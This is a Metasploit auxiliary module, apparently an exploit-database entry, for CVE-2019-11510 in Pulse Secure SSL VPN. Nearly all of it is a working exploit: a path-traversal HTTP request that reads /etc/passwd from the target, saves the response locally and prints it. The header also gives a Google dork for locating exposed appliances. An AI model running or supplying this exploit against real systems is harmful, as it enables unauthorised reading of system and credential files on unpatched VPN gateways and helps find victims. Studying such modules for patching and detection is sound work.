# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)
# Google Dork: inurl:/dana-na/ filetype:cgi
# Date: 8/20/2019
# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
# Tested on: Linux
# CVE : CVE-2019-11510
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Post::File
def initialize(info = {})
super(update_info(info,
'Name' => 'Pulse Secure - System file leak',
'Description' => %q{
Pulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.
This exploit reads /etc/passwd as a proof of concept
This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
},
'References' =>
[
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]
],
'Author' => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
},
))
end
def run()
print_good("Checking target...")
res = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342)
if res && res.code == 200
print_good("Target is Vulnerable!")
data = res.body
current_host = datastore['RHOST']
filename = "msf_sslwebsession_"+current_host+".bin"
File.delete(filename) if File.exist?(filename)
file_local_write(filename, data)
print_good("Parsing file.......")
parse()
else
if(res && res.code == 404)
print_error("Target not Vulnerable")
else
print_error("Ooof, try again...")
end
end
end
def parse()
current_host = datastore['RHOST']
fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")
words = 0
while (line = fileObj.gets)
printable_data = line.gsub(/[^[:print:]]/, '.')
array_data = printable_data.scan(/.{1,60}/m)
for ar in array_data
if ar != "............................................................"
print_good(ar)
end
end
#print_good(printable_data)
end
fileObj.close
end
end
